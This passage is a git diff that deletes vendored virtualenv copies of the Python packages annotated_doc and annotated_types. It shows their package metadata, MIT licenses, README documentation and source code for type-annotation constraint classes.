-annotated_doc/__pycache__/main.cpython-314.pyc,, -annotated_doc/main.py,sha256=5Zfvxv80SwwLqpRW73AZyZyiM4bWma9QWRbp_cgD20s,1075 -annotated_doc/py.typed,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 diff --git a/venv/Lib/site-packages/annotated_doc-0.0.5.dist-info/WHEEL b/venv/Lib/site-packages/annotated_doc-0.0.5.dist-info/WHEEL deleted file mode 100644 index e651d8efb5fb543a06227b0ebfab1007f9e19326..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/annotated_doc-0.0.5.dist-info/WHEEL +++ /dev/null @@ -1,4 +0,0 @@ -Wheel-Version: 1.0 -Generator: pdm-backend (2.4.9) -Root-Is-Purelib: true -Tag: py3-none-any diff --git a/venv/Lib/site-packages/annotated_doc-0.0.5.dist-info/entry_points.txt b/venv/Lib/site-packages/annotated_doc-0.0.5.dist-info/entry_points.txt deleted file mode 100644 index c3ad4726d437022e5c606a4206ffb6007347a008..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/annotated_doc-0.0.5.dist-info/entry_points.txt +++ /dev/null @@ -1,4 +0,0 @@ -[console_scripts] - -[gui_scripts] - diff --git a/venv/Lib/site-packages/annotated_doc-0.0.5.dist-info/licenses/LICENSE b/venv/Lib/site-packages/annotated_doc-0.0.5.dist-info/licenses/LICENSE deleted file mode 100644 index 7a254464cc78ccea32b3ded00513c44c4e4da412..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/annotated_doc-0.0.5.dist-info/licenses/LICENSE +++ /dev/null @@ -1,21 +0,0 @@ -The MIT License (MIT) - -Copyright (c) 2025 Sebastián Ramírez - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in -all copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -THE SOFTWARE. diff --git a/venv/Lib/site-packages/annotated_doc/__init__.py b/venv/Lib/site-packages/annotated_doc/__init__.py deleted file mode 100644 index d6f729253cbdcfad8b1aa27513d4de07e443cf05..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/annotated_doc/__init__.py +++ /dev/null @@ -1,3 +0,0 @@ -from .main import Doc as Doc - -__version__ = "0.0.5" diff --git a/venv/Lib/site-packages/annotated_doc/main.py b/venv/Lib/site-packages/annotated_doc/main.py deleted file mode 100644 index 7063c59e4500a1d02bfc9b41887f9e95f8163507..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/annotated_doc/main.py +++ /dev/null @@ -1,36 +0,0 @@ -class Doc: - """Define the documentation of a type annotation using `Annotated`, to be - used in class attributes, function and method parameters, return values, - and variables. - - The value should be a positional-only string literal to allow static tools - like editors and documentation generators to use it. - - This complements docstrings. - - The string value passed is available in the attribute `documentation`. - - Example: - - ```Python - from typing import Annotated - from annotated_doc import Doc - - def hi(name: Annotated[str, Doc("Who to say hi to")]) -> None: - print(f"Hi, {name}!") - ``` - """ - - def __init__(self, documentation: str, /) -> None: - self.documentation = documentation - - def __repr__(self) -> str: - return f"Doc({self.documentation!r})" - - def __hash__(self) -> int: - return hash(self.documentation) - - def __eq__(self, other: object) -> bool: - if not isinstance(other, Doc): - return NotImplemented - return self.documentation == other.documentation diff --git a/venv/Lib/site-packages/annotated_doc/py.typed b/venv/Lib/site-packages/annotated_doc/py.typed deleted file mode 100644 index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000 diff --git a/venv/Lib/site-packages/annotated_types-0.8.0.dist-info/INSTALLER b/venv/Lib/site-packages/annotated_types-0.8.0.dist-info/INSTALLER deleted file mode 100644 index a1b589e38a32041e49332e5e81c2d363dc418d68..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/annotated_types-0.8.0.dist-info/INSTALLER +++ /dev/null @@ -1 +0,0 @@ -pip diff --git a/venv/Lib/site-packages/annotated_types-0.8.0.dist-info/METADATA b/venv/Lib/site-packages/annotated_types-0.8.0.dist-info/METADATA deleted file mode 100644 index eb5a08847f8a91e58ad8325a7059715e9be44ed6..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/annotated_types-0.8.0.dist-info/METADATA +++ /dev/null @@ -1,295 +0,0 @@ -Metadata-Version: 2.4 -Name: annotated-types -Version: 0.8.0 -Summary: Reusable constraint types to use with typing.Annotated -Project-URL: Homepage, https://github.com/annotated-types/annotated-types -Project-URL: Source, https://github.com/annotated-types/annotated-types -Project-URL: Changelog, https://github.com/annotated-types/annotated-types/releases -Author-email: Adrian Garcia Badaracco <1755071+adriangb@users.noreply.github.com>, Samuel Colvin , Zac Hatfield-Dodds -License-Expression: MIT -License-File: LICENSE -Classifier: Development Status :: 4 - Beta -Classifier: Environment :: Console -Classifier: Environment :: MacOS X -Classifier: Intended Audience :: Developers -Classifier: Intended Audience :: Information Technology -Classifier: License :: OSI Approved :: MIT License -Classifier: Operating System :: POSIX :: Linux -Classifier: Operating System :: Unix -Classifier: Programming Language :: Python :: 3 :: Only -Classifier: Programming Language :: Python :: 3.10 -Classifier: Programming Language :: Python :: 3.11 -Classifier: Programming Language :: Python :: 3.12 -Classifier: Programming Language :: Python :: 3.13 -Classifier: Programming Language :: Python :: 3.14 -Classifier: Topic :: Software Development :: Libraries :: Python Modules -Classifier: Typing :: Typed -Requires-Python: >=3.10 -Description-Content-Type: text/markdown - -# annotated-types - -[![CI](https://github.com/annotated-types/annotated-types/workflows/CI/badge.svg?event=push)](https://github.com/annotated-types/annotated-types/actions?query=event%3Apush+branch%3Amain+workflow%3ACI) -[![pypi](https://img.shields.io/pypi/v/annotated-types.svg)](https://pypi.python.org/pypi/annotated-types) -[![versions](https://img.shields.io/pypi/pyversions/annotated-types.svg)](https://github.com/annotated-types/annotated-types) -[![license](https://img.shields.io/github/license/annotated-types/annotated-types.svg)](https://github.com/annotated-types/annotated-types/blob/main/LICENSE) - -[PEP-593](https://peps.python.org/pep-0593/) added `typing.Annotated` as a way of -adding context-specific metadata to existing types, and specifies that -`Annotated[T, x]` _should_ be treated as `T` by any tool or library without special -logic for `x`. - -This package provides metadata objects which can be used to represent common -constraints such as upper and lower bounds on scalar values and collection sizes, -a `Predicate` marker for runtime checks, and -descriptions of how we intend these metadata to be interpreted. In some cases, -we also note alternative representations which do not require this package. - -## Install - -```bash -pip install annotated-types -``` - -## Examples - -```python -from typing import Annotated -from annotated_types import Gt, Len, Predicate - -class MyClass: - age: Annotated[int, Gt(18)] # Valid: 19, 20, ... - # Invalid: 17, 18, "19", 19.0, ... - factors: list[Annotated[int, Predicate(is_prime)]] # Valid: 2, 3, 5, 7, 11, ... - # Invalid: 4, 8, -2, 5.0, "prime", ... - - my_list: Annotated[list[int], Len(0, 10)] # Valid: [], [10, 20, 30, 40, 50] - # Invalid: (1, 2), ["abc"], [0] * 20 -``` - -## Documentation - -_While `annotated-types` avoids runtime checks for performance, users should not -construct invalid combinations such as `MultipleOf("non-numeric")` or `Annotated[int, Len(3)]`. -Downstream implementors may choose to raise an error, emit a warning, silently ignore -a metadata item, etc., if the metadata objects described below are used with an -incompatible type - or for any other reason!_ - -### Gt, Ge, Lt, Le - -Express inclusive and/or exclusive bounds on orderable values - which may be numbers, -dates, times, strings, sets, etc. Note that the boundary value need not be of the -same type that was annotated, so long as they can be compared: `Annotated[int, Gt(1.5)]` -is fine, for example, and implies that the value is an integer x such that `x > 1.5`. - -We suggest that implementors may also interpret `functools.partial(operator.le, 1.5)` -as being equivalent to `Gt(1.5)`, for users who wish to avoid a runtime dependency on -the `annotated-types` package. - -To be explicit, these types have the following meanings: - -* `Gt(x)` - value must be "Greater Than" `x` - equivalent to exclusive minimum -* `Ge(x)` - value must be "Greater than or Equal" to `x` - equivalent to inclusive minimum -* `Lt(x)` - value must be "Less Than" `x` - equivalent to exclusive maximum -* `Le(x)` - value must be "Less than or Equal" to `x` - equivalent to inclusive maximum - -### Interval - -`Interval(gt, ge, lt, le)` allows you to specify an upper and lower bound with a single -metadata object. `None` attributes should be ignored, and non-`None` attributes -treated as per the single bounds above. - -### MultipleOf - -`MultipleOf(multiple_of=x)` might be interpreted in two ways: - -1. Python semantics, implying `value % multiple_of == 0`, or -2. [JSONschema semantics](https://json-schema.org/draft/2020-12/json-schema-validation.html#rfc.section.6.2.1), - where `int(value / multiple_of) == value / multiple_of`. - -We encourage users to be aware of these two common interpretations and their -distinct behaviours, especially since very large or non-integer numbers make -it easy to cause silent data corruption due to floating-point imprecision. - -We encourage libraries to carefully document which interpretation they implement. - -### MinLen, MaxLen, Len - -`Len()` implies that `min_length <= len(value) <= max_length` - lower and upper bounds are inclusive. - -As well as `Len()` which can optionally include upper and lower bounds, we also -provide `MinLen(x)` and `MaxLen(y)` which are equivalent to `Len(min_length=x)` -and `Len(max_length=y)` respectively. - -`Len`, `MinLen`, and `MaxLen` may be used with any type which supports `len(value)`. - -Examples of usage: - -* `Annotated[list, MaxLen(10)]` (or `Annotated[list, Len(max_length=10)]`) - list must have a length of 10 or less -* `Annotated[str, MaxLen(10)]` - string must have a length of 10 or less -* `Annotated[list, MinLen(3)]` (or `Annotated[list, Len(min_length=3)]`) - list must have a length of 3 or more -* `Annotated[list, Len(4, 6)]` - list must have a length of 4, 5, or 6 -* `Annotated[list, Len(8, 8)]` - list must have a length of exactly 8 - -#### Changed in v0.4.0 - -* `min_inclusive` has been renamed to `min_length`, no change in meaning -* `max_exclusive` has been renamed to `max_length`, upper bound is now **inclusive** instead of **exclusive** -* The recommendation that slices are interpreted as `Len` has been removed due to ambiguity and different semantic - meaning of the upper bound in slices vs. `Len` - -See [issue #23](https://github.com/annotated-types/annotated-types/issues/23) for discussion. - -### Timezone - -`Timezone` can be used with a `datetime` or a `time` to express which timezones -are allowed. `Annotated[datetime, Timezone(None)]` must be a naive datetime. -`Timezone[...]` ([literal ellipsis](https://docs.python.org/3/library/constants.html#Ellipsis)) -expresses that any timezone-aware datetime is allowed. You may also pass a specific -timezone string or [`tzinfo`](https://docs.python.org/3/library/datetime.html#tzinfo-objects) -object such as `Timezone(timezone.utc)` or `Timezone("Africa/Abidjan")` to express that you only -allow a specific timezone, though we note that this is often a symptom of fragile design. - -#### Changed in v0.x.x - -* `Timezone` accepts [`tzinfo`](https://docs.python.org/3/library/datetime.html#tzinfo-objects) objects instead of - `timezone`, extending compatibility to [`zoneinfo`](https://docs.python.org/3/library/zoneinfo.html) and third party libraries. - -### Unit - -`Unit(unit: str)` expresses that the annotated numeric value is the magnitude of -a quantity with the specified unit. For example, `Annotated[float, Unit("m/s")]` -would be a float representing a velocity in meters per second. - -Please note that `annotated_types` itself makes no attempt to parse or validate -the unit string in any way. That is left entirely to downstream libraries, -such as [`pint`](https://pint.readthedocs.io) or -[`astropy.units`](https://docs.astropy.org/en/stable/units/). - -An example of how a library might use this metadata: - -```python -from annotated_types import Unit -from typing import Annotated, TypeVar, Callable, Any, get_origin, get_args - -# given a type annotated with a unit: -Meters = Annotated[float, Unit("m")] - - -# you can cast the annotation to a specific unit type with any -# callable that accepts a string and returns the desired type -T = TypeVar("T") -def cast_unit(tp: Any, unit_cls: Callable[[str], T]) -> T | None: - if get_origin(tp) is Annotated: - for arg in get_args(tp): - if isinstance(arg, Unit): - return unit_cls(arg.unit) - return None - - -# using `pint` -import pint -pint_unit = cast_unit(Meters, pint.Unit) - - -# using `astropy.units` -import astropy.units as u -astropy_unit = cast_unit(Meters, u.Unit) -``` - -### Predicate - -`Predicate(func: Callable)` expresses that `func(value)` is truthy for valid values. -Users should prefer the statically inspectable metadata above, but if you need -the full power and flexibility of arbitrary runtime predicates... here it is. - -For some common constraints, we provide generic types: - -* `LowerCase = Annotated[T, Predicate(str.islower)]` -* `UpperCase = Annotated[T, Predicate(str.isupper)]` -* `IsDigit = Annotated[T, Predicate(str.isdigit)]` -* `IsFinite = Annotated[T, Predicate(math.isfinite)]` -* `IsNotFinite = Annotated[T, Predicate(Not(math.isfinite))]` -* `IsNan = Annotated[T, Predicate(math.isnan)]` -* `IsNotNan = Annotated[T, Predicate(Not(math.isnan))]` -* `IsInfinite = Annotated[T, Predicate(math.isinf)]` -* `IsNotInfinite = Annotated[T, Predicate(Not(math.isinf))]` - -so that you can write e.g. `x: IsFinite[float] = 2.0` instead of the longer -(but exactly equivalent) `x: Annotated[float, Predicate(math.isfinite)] = 2.0`. - -Some libraries might have special logic to handle known or understandable predicates, -for example by checking for `str.isdigit` and using its presence to both call custom -logic to enforce digit-only strings, and customise some generated external schema. -Users are therefore encouraged to avoid indirection like `lambda s: s.lower()`, in -favor of introspectable methods such as `str.lower` or `re.compile("pattern").search`. - -To enable basic negation of commonly used predicates like `math.isnan` without introducing introspection that makes it impossible for implementers to introspect the predicate we provide a `Not` wrapper that simply negates the predicate in an introspectable manner. Several of the predicates listed above are created in this manner. - -We do not specify what behaviour should be expected for predicates that raise -an exception. For example `Annotated[int, Predicate(str.isdigit)]` might silently -skip invalid constraints, or statically raise an error; or it might try calling it -and then propagate or discard the resulting -`TypeError: descriptor 'isdigit' for 'str' objects doesn't apply to a 'int' object` -exception. We encourage libraries to document the behaviour they choose. - -### Doc - -`doc()` can be used to add documentation information in `Annotated`, for function and method parameters, variables, class attributes, return types, and any place where `Annotated` can be used. - -It expects a value that can be statically analyzed, as the main use case is for static analysis, editors, documentation generators, and similar tools. - -It returns a `DocInfo` class with a single attribute `documentation` containing the value passed to `doc()`. - -This is the early adopter's alternative form of the [`typing-doc` proposal](https://github.com/tiangolo/fastapi/blob/typing-doc/typing_doc.md). - -### Integrating downstream types with `GroupedMetadata` - -Implementers may choose to provide a convenience wrapper that groups multiple pieces of metadata. -This can help reduce verbosity and cognitive overhead for users. -For example, an implementer like Pydantic might provide a `Field` or `Meta` type that accepts keyword arguments and transforms these into low-level metadata: - -```python -from dataclasses import dataclass -from typing import Iterator -from annotated_types import GroupedMetadata, Ge - -@dataclass -class Field(GroupedMetadata): - ge: int | None = None - description: str | None = None - - def __iter__(self) -> Iterator[object]: - # Iterating over a GroupedMetadata object should yield annotated-types - # constraint metadata objects which describe it as fully as possible, - # and may include other unknown objects too. - if self.ge is not None: - yield Ge(self.ge) - if self.description is not None: - yield Description(self.description) -``` - -Libraries consuming annotated-types constraints should check for `GroupedMetadata` and unpack it by iterating over the object and treating the results as if they had been "unpacked" in the `Annotated` type. The same logic should be applied to the [PEP 646 `Unpack` type](https://peps.python.org/pep-0646/), so that `Annotated[T, Field(...)]`, `Annotated[T, Unpack[Field(...)]]` and `Annotated[T, *Field(...)]` are all treated consistently. - -Libraries consuming annotated-types should also ignore any metadata they do not recongize that came from unpacking a `GroupedMetadata`, just like they ignore unrecognized metadata in `Annotated` itself. - -Our own `annotated_types.Interval` class is a `GroupedMetadata` which unpacks itself into `Gt`, `Lt`, etc., so this is not an abstract concern. Similarly, `annotated_types.Len` is a `GroupedMetadata` which unpacks itself into `MinLen` (optionally) and `MaxLen`. - -### Consuming metadata - -We intend to not be prescriptive as to _how_ the metadata and constraints are used, but as an example of how one might parse constraints from types annotations see our [implementation in `test_main.py`](https://github.com/annotated-types/annotated-types/blob/f59cf6d1b5255a0fe359b93896759a180bec30ae/tests/test_main.py#L94-L103). - -It is up to the implementer to determine how this metadata is used. -You could use the metadata for runtime type checking, for generating schemas or to generate example data, amongst other use cases. - -## Design & History - -This package was designed at the PyCon 2022 sprints by the maintainers of Pydantic -and Hypothesis, with the goal of making it as easy as possible for end-users to -provide more informative annotations for use by runtime libraries. - -It is deliberately minimal, and following PEP-593 allows considerable downstream -discretion in what (if anything!) they choose to support. Nonetheless, we expect -that staying simple and covering _only_ the most common use-cases will give users -and maintainers the best experience we can. If you'd like more constraints for your -types - follow our lead, by defining them and documenting them downstream! diff --git a/venv/Lib/site-packages/annotated_types-0.8.0.dist-info/RECORD b/venv/Lib/site-packages/annotated_types-0.8.0.dist-info/RECORD deleted file mode 100644 index bd3d012cc79a90628c0dd64cc1af665ec98dbe43..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/annotated_types-0.8.0.dist-info/RECORD +++ /dev/null @@ -1,10 +0,0 @@ -annotated_types-0.8.0.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4 -annotated_types-0.8.0.dist-info/METADATA,sha256=YUmFsnj2Abjvhj-CeDuZHMOtpLifWS63HHxIxfLvIpg,15009 -annotated_types-0.8.0.dist-info/RECORD,, -annotated_types-0.8.0.dist-info/WHEEL,sha256=lCkmxWfQsSc9CfIClYeavTdQeEX2toPqufh9gI35EQA,87 -annotated_types-0.8.0.dist-info/licenses/LICENSE,sha256=_hBJiEsaDZNCkB6I4H8ykl0ksxIdmXK2poBfuYJLCV0,1083 -annotated_types/__init__.py,sha256=pxBKTUObJ6n3T8C-I2ubobeDHmBEAmgCogWrwSmKm8g,13273 -annotated_types/__pycache__/__init__.cpython-314.pyc,, -annotated_types/__pycache__/test_cases.cpython-314.pyc,, -annotated_types/py.typed,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -annotated_types/test_cases.py,sha256=2GdHKstXuBzpf3iXKCjmvFZpyk2zP9Hm9kXGGDhGBo4,6310 diff --git a/venv/Lib/site-packages/annotated_types-0.8.0.dist-info/WHEEL b/venv/Lib/site-packages/annotated_types-0.8.0.dist-info/WHEEL deleted file mode 100644 index 7401812e19af977cc5088f3b8fb1ef6bc0441c0a..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/annotated_types-0.8.0.dist-info/WHEEL +++ /dev/null @@ -1,4 +0,0 @@ -Wheel-Version: 1.0 -Generator: hatchling 1.31.0 -Root-Is-Purelib: true -Tag: py3-none-any diff --git a/venv/Lib/site-packages/annotated_types-0.8.0.dist-info/licenses/LICENSE b/venv/Lib/site-packages/annotated_types-0.8.0.dist-info/licenses/LICENSE deleted file mode 100644 index d99323a9965f146d5b0888c4ca1bf0727e12b04f..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/annotated_types-0.8.0.dist-info/licenses/LICENSE +++ /dev/null @@ -1,21 +0,0 @@ -The MIT License (MIT) - -Copyright (c) 2022 the contributors - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -SOFTWARE. diff --git a/venv/Lib/site-packages/annotated_types/__init__.py b/venv/Lib/site-packages/annotated_types/__init__.py deleted file mode 100644 index dcb35c54a56b0729f90278c22b402c73127be4d8..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/annotated_types/__init__.py +++ /dev/null @@ -1,416 +0,0 @@ -import math -import types -from collections.abc import Callable, Iterator -from dataclasses import dataclass -from datetime import tzinfo -from types import EllipsisType -from typing import ( - TYPE_CHECKING, - Annotated, - Any, - Literal, - Protocol, - SupportsFloat, - SupportsIndex, - TypeVar, - Union, - runtime_checkable, -) - -__all__ = ( - 'BaseMetadata', - 'GroupedMetadata', - 'Gt', - 'Ge', - 'Lt', - 'Le', - 'Interval', - 'MultipleOf', - 'MinLen', - 'MaxLen', - 'Len', - 'Timezone', - 'Predicate', - 'LowerCase', - 'UpperCase', - 'IsDigits', - 'IsFinite', - 'IsNotFinite', - 'IsNan', - 'IsNotNan', - 'IsInfinite', - 'IsNotInfinite', - 'doc', - 'DocInfo', - '__version__', -) - -__version__ = '0.8.0' - - -T = TypeVar('T') - - -# arguments that start with __ are considered -# positional only -# see https://peps.python.org/pep-0484/#positional-only-arguments - - -class SupportsGt(Protocol): - def __gt__(self: T, __other: T) -> bool: - ... - - -class SupportsGe(Protocol): - def __ge__(self: T, __other: T) -> bool: - ... - - -class SupportsLt(Protocol): - def __lt__(self: T, __other: T) -> bool: - ... - - -class SupportsLe(Protocol): - def __le__(self: T, __other: T) -> bool: - ... - - -class SupportsMod(Protocol): - def __mod__(self: T, __other: T) -> T: - ... - - -class SupportsDiv(Protocol): - def __div__(self: T, __other: T) -> T: - ... - - -class BaseMetadata: - """Base class for all metadata. - - This exists mainly so that implementers - can do `isinstance(..., BaseMetadata)` while traversing field annotations. - """ - - __slots__ = () - - -@dataclass(frozen=True, slots=True) -class Gt(BaseMetadata): - """Gt(gt=x) implies that the value must be greater than x. - - It can be used with any type that supports the ``>`` operator, - including numbers, dates and times, strings, sets, and so on. - """ - - gt: SupportsGt - - -@dataclass(frozen=True, slots=True) -class Ge(BaseMetadata): - """Ge(ge=x) implies that the value must be greater than or equal to x. - - It can be used with any type that supports the ``>=`` operator, - including numbers, dates and times, strings, sets, and so on. - """ - - ge: SupportsGe - - -@dataclass(frozen=True, slots=True) -class Lt(BaseMetadata): - """Lt(lt=x) implies that the value must be less than x. - - It can be used with any type that supports the ``<`` operator, - including numbers, dates and times, strings, sets, and so on. - """ - - lt: SupportsLt - - -@dataclass(frozen=True, slots=True) -class Le(BaseMetadata): - """Le(le=x) implies that the value must be less than or equal to x. - - It can be used with any type that supports the ``<=`` operator, - including numbers, dates and times, strings, sets, and so on. - """ - - le: SupportsLe - - -@runtime_checkable -class GroupedMetadata(Protocol): - """A grouping of multiple objects, like typing.Unpack. - - `GroupedMetadata` on its own is not metadata and has no meaning. - All of the constraints and metadata should be fully expressable - in terms of the `BaseMetadata`'s returned by `GroupedMetadata.__iter__()`. - - Concrete implementations should override `GroupedMetadata.__iter__()` - to add their own metadata. - For example: - - >>> @dataclass - >>> class Field(GroupedMetadata): - >>> gt: float | None = None - >>> description: str | None = None - ... - >>> def __iter__(self) -> Iterable[object]: - >>> if self.gt is not None: - >>> yield Gt(self.gt) - >>> if self.description is not None: - >>> yield Description(self.gt) - - Also see the implementation of `Interval` below for an example. - - Parsers should recognize this and unpack it so that it can be used - both with and without unpacking: - - - `Annotated[int, Field(...)]` (parser must unpack Field) - - `Annotated[int, *Field(...)]` (PEP-646) - """ # noqa: trailing-whitespace - - @property - def __is_annotated_types_grouped_metadata__(self) -> Literal[True]: - return True - - def __iter__(self) -> Iterator[object]: - ... - - if not TYPE_CHECKING: - __slots__ = () # allow subclasses to use slots - - def __init_subclass__(cls, *args: Any, **kwargs: Any) -> None: - # Basic ABC like functionality without the complexity of an ABC - super().__init_subclass__(*args, **kwargs) - if cls.__iter__ is GroupedMetadata.__iter__: - raise TypeError("Can't subclass GroupedMetadata without implementing __iter__") - - def __iter__(self) -> Iterator[object]: # noqa: F811 - raise NotImplementedError # more helpful than "None has no attribute..." type errors - - -@dataclass(frozen=True, kw_only=True, slots=True) -class Interval(GroupedMetadata): - """Interval can express inclusive or exclusive bounds with a single object. - - It accepts keyword arguments ``gt``, ``ge``, ``lt``, and/or ``le``, which - are interpreted the same way as the single-bound constraints. - """ - - gt: SupportsGt | None = None - ge: SupportsGe | None = None - lt: SupportsLt | None = None - le: SupportsLe | None = None - - def __iter__(self) -> Iterator[BaseMetadata]: - """Unpack an Interval into zero or more single-bounds.""" - if self.gt is not None: - yield Gt(self.gt) - if self.ge is not None: - yield Ge(self.ge) - if self.lt is not None: - yield Lt(self.lt) - if self.le is not None: - yield Le(self.le) - - -@dataclass(frozen=True, slots=True) -class MultipleOf(BaseMetadata): - """MultipleOf(multiple_of=x) might be interpreted in two ways: - - 1. Python semantics, implying ``value % multiple_of == 0``, or - 2. JSONschema semantics, where ``int(value / multiple_of) == value / multiple_of`` - - We encourage users to be aware of these two common interpretations, - and libraries to carefully document which they implement. - """ - - multiple_of: SupportsDiv | SupportsMod - - -@dataclass(frozen=True, slots=True) -class MinLen(BaseMetadata): - """ - MinLen() implies minimum inclusive length, - e.g. ``len(value) >= min_length``. - """ - - min_length: Annotated[int, Ge(0)] - - -@dataclass(frozen=True, slots=True) -class MaxLen(BaseMetadata): - """ - MaxLen() implies maximum inclusive length, - e.g. ``len(value) <= max_length``. - """ - - max_length: Annotated[int, Ge(0)] - - -@dataclass(frozen=True, slots=True) -class Len(GroupedMetadata): - """ - Len() implies that ``min_length <= len(value) <= max_length``. - - Upper bound may be omitted or ``None`` to indicate no upper length bound. - """ - - min_length: Annotated[int, Ge(0)] = 0 - max_length: Annotated[int, Ge(0)] | None = None - - def __iter__(self) -> Iterator[BaseMetadata]: - """Unpack a Len into zero or more single-bounds.""" - if self.min_length > 0: - yield MinLen(self.min_length) - if self.max_length is not None: - yield MaxLen(self.max_length) - - -@dataclass(frozen=True, slots=True) -class Timezone(BaseMetadata): - """Timezone(tz=...) requires a datetime to be aware (or ``tz=None``, naive). - - ``Annotated[datetime, Timezone(None)]`` must be a naive datetime. - ``Timezone(...)`` (the ellipsis literal) expresses that the datetime must be - tz-aware but any timezone is allowed. - - You may also pass a specific timezone string or tzinfo object such as - ``Timezone(timezone.utc)`` or ``Timezone("Africa/Abidjan")`` to express that - you only allow a specific timezone, though we note that this is often - a symptom of poor design. - """ - - tz: str | tzinfo | EllipsisType | None - - -@dataclass(frozen=True, slots=True) -class Unit(BaseMetadata): - """Indicates that the value is a physical quantity with the specified unit. - - It is intended for usage with numeric types, where the value represents the - magnitude of the quantity. For example, ``distance: Annotated[float, Unit('m')]`` - or ``speed: Annotated[float, Unit('m/s')]``. - - Interpretation of the unit string is left to the discretion of the consumer. - It is suggested to follow conventions established by python libraries that work - with physical quantities, such as - - - ``pint`` : - - ``astropy.units``: - - For indicating a quantity with a certain dimensionality but without a specific unit - it is recommended to use square brackets, e.g. `Annotated[float, Unit('[time]')]`. - Note, however, ``annotated_types`` itself makes no use of the unit string. - """ - - unit: str - - -@dataclass(frozen=True, slots=True) -class Predicate(BaseMetadata): - """``Predicate(func: Callable)`` implies `func(value)` is truthy for valid values. - - Users should prefer statically inspectable metadata, but if you need the full - power and flexibility of arbitrary runtime predicates... here it is. - - We provide a few predefined predicates for common string constraints: - ``LowerCase = Predicate(str.islower)``, ``UpperCase = Predicate(str.isupper)``, and - ``IsDigits = Predicate(str.isdigit)``. Users are encouraged to use methods which - can be given special handling, and avoid indirection like ``lambda s: s.lower()``. - - Some libraries might have special logic to handle certain predicates, e.g. by - checking for `str.isdigit` and using its presence to both call custom logic to - enforce digit-only strings, and customise some generated external schema. - - We do not specify what behaviour should be expected for predicates that raise - an exception. For example `Annotated[int, Predicate(str.isdigit)]` might silently - skip invalid constraints, or statically raise an error; or it might try calling it - and then propagate or discard the resulting exception. - """ - - func: Callable[[Any], bool] - - def __repr__(self) -> str: - if getattr(self.func, "__name__", "") == "": - return f"{self.__class__.__name__}({self.func!r})" - if isinstance(self.func, (types.MethodType, types.BuiltinMethodType)) and ( - namespace := getattr(self.func.__self__, "__name__", None) - ): - return f"{self.__class__.__name__}({namespace}.{self.func.__name__})" - if isinstance(self.func, type(str.isascii)): # method descriptor - return f"{self.__class__.__name__}({self.func.__qualname__})" - return f"{self.__class__.__name__}({self.func.__name__})" - - -@dataclass -class Not: - func: Callable[[Any], bool] - - def __call__(self, __v: Any) -> bool: - return not self.func(__v) - - -_StrType = TypeVar("_StrType", bound=str) - -LowerCase = Annotated[_StrType, Predicate(str.islower)] -""" -Return True if the string is a lowercase string, False otherwise. - -A string is lowercase if all cased characters in the string are lowercase and there is at least one cased character in the string. -""" # noqa: E501 -UpperCase = Annotated[_StrType, Predicate(str.isupper)] -""" -Return True if the string is an uppercase string, False otherwise. - -A string is uppercase if all cased characters in the string are uppercase and there is at least one cased character in the string. -""" # noqa: E501 -IsDigit = Annotated[_StrType, Predicate(str.isdigit)] -IsDigits = IsDigit # type: ignore # plural for backwards compatibility, see #63 -""" -Return True if the string is a digit string, False otherwise. - -A string is a digit string if all characters in the string are digits and there is at least one character in the string. -""" # noqa: E501 -IsAscii = Annotated[_StrType, Predicate(str.isascii)] -""" -Return True if all characters in the string are ASCII, False otherwise. - -ASCII characters have code points in the range U+0000-U+007F. Empty string is ASCII too. -""" - -_NumericType = TypeVar('_NumericType', bound=Union[SupportsFloat, SupportsIndex]) -IsFinite = Annotated[_NumericType, Predicate(math.isfinite)] -"""Return True if x is neither an infinity nor a NaN, and False otherwise.""" -IsNotFinite = Annotated[_NumericType, Predicate(Not(math.isfinite))] -"""Return True if x is one of infinity or NaN, and False otherwise""" -IsNan = Annotated[_NumericType, Predicate(math.isnan)] -"""Return True if x is a NaN (not a number), and False otherwise.""" -IsNotNan 